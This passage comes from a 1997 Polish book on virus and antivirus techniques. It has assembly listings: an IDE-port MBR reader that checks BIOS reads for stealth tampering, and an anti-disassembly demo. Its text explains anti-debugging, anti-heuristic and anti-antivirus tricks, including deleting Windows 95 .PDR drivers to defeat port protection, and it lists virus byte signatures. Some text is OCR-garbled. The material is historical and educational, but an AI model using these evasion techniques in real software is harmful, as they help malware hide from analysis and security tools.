bezpośrednich odwołań do portów.
Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do
portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla
pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku
dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku
dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej
dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje
systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi).
Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o
pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane
przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia
dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez
BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach
(począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po
załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze
przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze
wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-
wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie
jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod
adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się
do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu
portów, a co za tym idzie, do szybszego wykrycia wirusa.
Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio
przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu
chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się
bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu
nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie,

background image

można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za
operacje na dyskach.
W przypadku systemu Windows 95 (działającego w trybie chronionym) można
spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten
oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu
rzeczywistego, a tam nie działa mechanizm ochrony portów.
Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo
usunąć następujące pliki:
> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD;
> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde
zgodne z (E)IDE;
> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde
SCSI,
gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows.
Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa
zostanie on uruchomiony w trybie zgodności z MS DOS.
Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi
problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment)
odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie):
> WIN=;
> WINDIR=;
> WINBOOTDIR=
i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać
dostęp do plików *.PDR.
Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów
tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w
napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych
przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie.

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; IDE_PORT v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program odczytuje sektor tablicy partycji pierwszego twardego dysku ;
; przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ;
; porownuje ze soba. ;
; Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane ;
; przez jakiegos wirusa. ;
; ;
; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ;
; i nie dziala w systemie Windows'95 ;
; ;
; Kompilacja : ;
; TASM /t IDE_PORT.ASM ;
; TLINK IDE_PORT.OBJ ;

background image

; ;
;----------------------------------------------------------------------------;
IDE_PORT SEGMENT
ASSUME CS:IDE_PORT, DS:IDE_PORT
ORG 100h
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych

Start:
lea si,TeCopyRight ; \ wyswietl info o programie
Call Druk ; /

mov ax,1600h ; sprawdz, czy praca w systemie Windows ?
int 2Fh

test al,7Fh ;
jz NieMaWindows ; ZF=0 - nie ma Windows

cmp al,4 ; czy wersja Windows < 4.0 ?
jb NieMaWindows ; TAK - to nie Windows 95
; NIE - to Windows 95
lea bp,TeWindows95 ; \ program nie dziala pod Windows 95
jmp Rozne ; / wiec koncz

NieMaWindows:

mov dx,1F2h ; 1F2 - okresla ile sektorow czytac
mov al,00000001b ; czytaj 1 sektor
out dx,al ; wyslij do IDE

inc dx ; 1F3 - okresla, ktory sektor pierwszy
mov al,00000001b ; czytaj sektor nr 1
out dx,al ; wyslij do IDE

inc dx ; 1F4 - starsza czesc cylindra (bity 0-1)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE

inc dx ; 1F5 - mlodsza czesc cylindra (bity 0-7)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE

inc dx ; 1F6 - nr dysku + nr glowicy
mov al,10100000b ; 101NGggg, N=0=master/1=slave, Gggg - glowica
out dx,al ; wyslij do IDE

background image

inc dx ; 1F7 - rejestr rozkazowy IDE
mov al,00100000b ; rozkaz odczytu
out dx,al ; wyslij do IDE

lea bp,TeIDENieDziala ; odczyt przez porty nie dziala
mov cx,0FFFFh ; tyle razy odczytuj z portu

CzekajNaDane:
in al,dx ; czekaj na dane z kontrolera IDE
test al,00001000b ; bit 3 ustawiony ?
loopz CzekajNaDane ; TAK - mozna czytac, NIE - czekaj dalej

test al,00001000b ; bit 3 ustawiony ?
jz Rozne ; NIE - jakis blad

mov cx,256 ; 256x2 bajtow
lea di,SektorIDE ; gdzie zapisac dane
mov dx,1F0h ; 1F0 - port danych IDE
cld ; INC DI w operacjach lancuchowych
CzytajSektor:
in ax,dx ; czytaj slowo
stosw ; zachowaj je
loop CzytajSektor ; czytaj 256 slow=512 bajtow sektora

mov dx,80h ; dysk twardy nr 0, glowica 0
mov cx,1 ; cylinder 0, sektor 1
lea bx,SektorBIOS ; dokad czytac sektor
mov ax,0201h ; funkcja BIOS - czytaj 1 sektor
int 13h ; wywolaj funkcje BIOS

lea bp,TeInne ; komunikat ze rozne

mov cx,256 ; porownaj 256 slow=512 bajtow
lea si,SektorIDE ; bufor z sektorem odczytanym przez porty
lea di,SektorBIOS ; bufor z sektorem odczytanym przez BIOS
rep cmpsw ; porownaj oba bufory
jne Rozne ; ZF=0 - takie same, ZF=1 - rozne

lea bp,TeTakieSame ; komunikat, ze takie same
Rozne:
mov si,bp ; komunikat : rozne lub takie same
Call Druk ; wyswietl komunikat

mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje

Druk: ; procedura wyswietla tekst ASCIIZ z CS:SI

background image

push ax si ; zachowaj zmieniane rejestry

NastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak

or al,al ; czy znak jest zerem ?
jz DrukPowrot ; TAK = koniec napisu wyjdz z petli

mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak (z AL)

jmp short NastepnyZnak ; wez nastepny znak

DrukPowrot:
pop si ax ; przywroc zmieniane rejestry

ret ; powrot z procedury

TeCopyRight db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL
TeTakieSame db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL
TeInne db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL
TeWindows95 db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL
TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL

SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ')
SektorIDE db 512/16 dup ('[ SEKTOR EIDE ] ')

IDE_PORT ENDS

END Start

9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i
antyheurystyczne
Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod
przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek
antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki
antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa)
blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu
objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji.
Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym
przejmowaniu przerwań newralgicznych dla działania programu uruchomieniowego, a
więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich adresy
najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo
komputer. Często w takich wypadkach przejmowane są także przerwania 21h, 16h, 10h,
służące debuggerom do obsługi plików, klawiatury, ekranu itd.
Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus
próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu

background image

- wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak,
aby ten niczego nie zauważył.
Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje:
; Blokada przerwa± sprzÛtowych
MOV AL,0FFh ; ustaw wszystkie bity w AL na 1
OUT 21h, AL ; zamaskuj przerwania sprzÛtowe od 0 do 7
OUT 0Alh, AL ; zamaskuj przerwania sprzÛtowe od 8 do F Wykrywanie,
; czy kod wykonuje siÛ pod kontrola debuggera
PUSH SS ; za│aduj na stos warto£µ SS
POP SS ; po tej instrukcji, nastÛpny rozkaz nie jest
; kontrolowany,
PUSHF ; wiÛc mo┐na zachowaµ na stosie prawdziwe flagi
POP AX ; AX=flagi zdjÛte ze stosu
TEST AH,1 ; czy bit TF=1 ?
JNZ DEBUG_ON ; je£li tak, to u┐ywany jest debugger
........ ; debugger nie jest u┐ywany
DEBUG_ON: ; debugger jest u┐ywany
Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie
sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak
będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować
adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie
rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu
chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy
przerwań.
Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz
odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje
się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we
wstępie wirusie JUMP).
Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a
napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny
listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze
takie same).

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program demonstruje proste techniki antydeasemblerowe ;
; Po skompilowaniu mozna sprobowac deasemblowac kod tego ;
; programu przy uzyciu np. SOURCERa i porownac z oryginalnym ;
; zrodlem ;
; ;
; Kompilacja : ;
; TASM ANTY_DEA.ASM ;
; TLINK /t ANTY_DEA.OBJ ;

background image

; ;
;----------------------------------------------------------------------------;
ANTY_DEA SEGMENT
ASSUME CS:ANTY_DEA, DS:ANTY_DEA

ORG 100h

Start: ; poczatek programu
sub bp,bp ; zeruj rejestr BP

lea dx,[bp+offset TxCzesc] ; dostep do danych poprzez
; adresowanie typowo uzywane
; przy operacjach na stosie
; deasembler moze nie zauwazyc
; ze chodzi o zwykly ofset
; do tekstu

jmp $+4 ; przeskocz bajt 0EAh
; i wskocz w drugi bajt
; rozkazu ADD, czyli
; przejdz do rozkazu
; jmp Koniec
; (ukrytego w kodzie rozkazu ADD)

db 0EAh ; symuluj wywolanie
; dalekiej procedury
; o kodzie EA OO OO SS SS, gdzie
; SS SS : Seg, OO OO : ofs
; mozliwe, ze deasembler pobierze
; dwuslowo i zamieni je
; na SS SS : OO OO
; i nie wykryje ani ADD, ani JMP

add ax,0EBh+256*(offset Koniec-$-3) ; kod tego rozkazu
; to db 05
; db EB
; db (offset Koniec-$-3)
; od drugiego bajtu rozpoczyna sie
; kod rozkazu Jmp Koniec (EB,??)

TxCzesc db 0Dh,0Ah,'Czesc!',0Dh,0Ah,'$' ; tekst w srodku kodu;
; istnieje szansa, ze
; deasembler zacznie
; go interpretowac jako kod

db 0EAh ; ta sama sztuczka co powyzej;

background image

; symulacja wywolania dalekiej
; procedury

Koniec: ; tu dotrze program omijajac tekst

jmp $+3 ; przeskocz bajt 0EAh

db 0EAh ; ta sama sztuczka co powyzej;
; symulacja wywolania dalekie
; procedury CALL FAR

; ponizsza sekwencja mov ah,9/
; int 21h jest 4 bajtowa i jest
; calkowicie "pochlonieta" przez
; symulowany rozkaz CALL FAR

mov ah,9 ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS

ret ; powrot do PSP:0000h,
; gdzie znajduje sie kod Int 20h,
; czyli koncz program

ANTY_DEA ENDS

END Start

Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych
stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów
polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów
tymi metodami.
Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator,
dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu,
funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania
procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi
wyglądu programu napisanego w językach wysokiego poziomu (posiadają one
charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi
cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE
lub innych).
Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania
programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle
przerywa dalsze poszukiwania i pozostawia plik bez zmian.
Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania
wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez
odpowiednią manipulację kodem, np. tradycjną sekwencję:
CMP AX,4B00h

background image

mo┐na zakodowaµ w wirusie jako:
ADD AX,1234h
CMP AX,4B00h+1234h
lub
XCHG AX,CX
CMP AX,4B00h XCHG AX,CX
lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną
operację wykona się dla większości zawartych w wirusie instrukcji, program
antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza.

9.3. Optymalizacje kodu
Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc
autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego
funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim
kodowaniu różnych instrukcji, które - mimo, że krótsze od normal-
nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe
przykłady ilustrują najbardziej znane i proste optymalizacje kodu:
XOR REJ16,REJ16 ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego
; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0)
XOR AX,AX ; zeruj rejestry DX:AX za pomoc╣ dw¾ch rozkaz¾w CWD
; zajmuj╣cych razem 3 bajty (zamiast 4 lub 6 bajt¾w)
XCHG AX,REJ16 ; przenie£ zawarto£µ rejestru AX do innego rejestru

; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX

; (mo┐na u┐ywaµ tylko w niekt¾rych sytuacjach)
INC REJ16 ; dwie 1-bajtowe instrukcje INC
INC REJ16 ; zamiast jednej 3-bajtowej instrukcji
ADD REJ16,2

; analogicznie dla rozkazu

SUB REJ16,2

; 2xDEC

9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi
monitorami antywirusowymi
Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z
zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami
kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były
one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla
użytkownika.
Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane
metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada
żadnej wagi do ochrony własnego
kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z
tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż
program, mimo że jest zainstalowany, nie działa tak, jak powinien.
Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów
wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status,
zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej
wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić
użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają

background image

odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik
programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że
ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa.
We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć
można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na
świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii
zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa
Veldmana).
W najbliższych latach spodziewać się można powstania zupełnie nowych odmian
wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej
przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów
trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter
rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam
czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu.

ROZDZIAŁ 10

10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses)
Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa,
który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także
sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a
także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji
sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi
komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł
pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej
C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język
JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy
można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych
trudności po całej sieci Internet.
Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa,
jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest
fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które
radzą sobie zarówno na komputerach klasy PC, jak i Macintosh,

10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors)
Większość obecnie istniejących wirusów infekując pliki używa standardowego
schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej
modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i
wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na
umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po
pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto,
gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby
podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego
wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne.

10.3. Wirusy zmienne genetycznie (mutujące swój kod)

background image

W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość
stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak
kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora
zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu
polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana
została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak
kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej
instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość,
objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby
swą nową kopię, przemieszczając odpowiednie fragmenty ko
du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to
przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć
niewykluczone, iż dzieło takie wkrótce się pojawi.

10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty
Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową
platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy
wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne
systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza
Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np.
system Windows 95, Linux, OS/2 i,
co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa).
Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można
uznać większość plików używanych przez ten system, które zawierają jakieś przydatne
wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są
to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów:
GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów
towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki
nowe EXE o nagłówku
PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego
ukrycia wirusa.

ROZDZIAŁ 11

11.1. Skanery (ang. scaners)
Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na
wyszukiwaniu zadanej sekwencji bajtów w ciągu danych.
W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę),
dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze.
Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana
sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub
specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną).
Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało,
jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku
wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie
wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co

background image

świadczy o uniwersalności tej metody.

11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors)
Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który
poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie
wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego
typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy
wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB
lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często
od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od
tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych
przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na
jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów
antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy
wirusów.
Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false
positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej
operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program
antywirusowy z pamięci.

11.3. Szczepionki (ang. disinfectors)
Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na
podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej
analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie
wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala
także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć
do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do
oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z
istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i
usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby,
zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko
konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale
działający program.

11.4. Programy autoweryfikujące
Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu,
mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został
w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod
dopisuje się do pliku wykorzystując te same mechanizmy co wirusy.
Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie
zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w
pliku, mimo że jest on zainfekowany.

11.5. Programy zliczające sumy kontrolne (ang. integrity checkers)
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla
zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są
najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym

background image

uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy
wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z
poprzednio zachowaną.
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki
znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre
wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez
większych problemów można zastąpić pierwotną, przechowywaną w pliku.
Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki
przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele
wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.

ROZDZIAŁ 12

12.1. Skaning
Historycznie jest to najstarsza technika stosowana przez programy antywirusowe.
Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów
(sygnatury wirusa).
Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów:
B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA ; sygnatura wirusa Atomie 1.0
BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83 ; sygnatura wirusa Human Greed
8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE ; sygnatura wirusa DOOM!
5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4 ; sygnatura wirusa Ethernity
5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21 ; sygnatura wirusa OLG
Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości,
zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez
siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w
przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery
potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *.
Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur
używających znaków globalnych:
BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly
B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02 ; sygnatura wirusa K-CMOS
1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1 ; sygnatura wirusa Geodesic Propagation
33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04 ; sygnatura wirusa 1984
Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu
bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako
łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja
podanych metod).

;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SKANER v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program sluzy do przeszukiwania plikow w celu znalezienia zadanego ;

background image

; lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr ;
; przy wywolaniu programu. ;
; ;
;----------------------------------------------------------------------------;
; DANE TECHNICZNE ;
;----------------------------------------------------------------------------;
; ;
; _ Wywolanie: SKANER NazwaPliku CiagBajtow ;
; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu ;
; np: ;
; _ CD 21 - szuka wywolania przerwania 21h ;
; _ 'wirus' - szuka slowa "wirus" ;
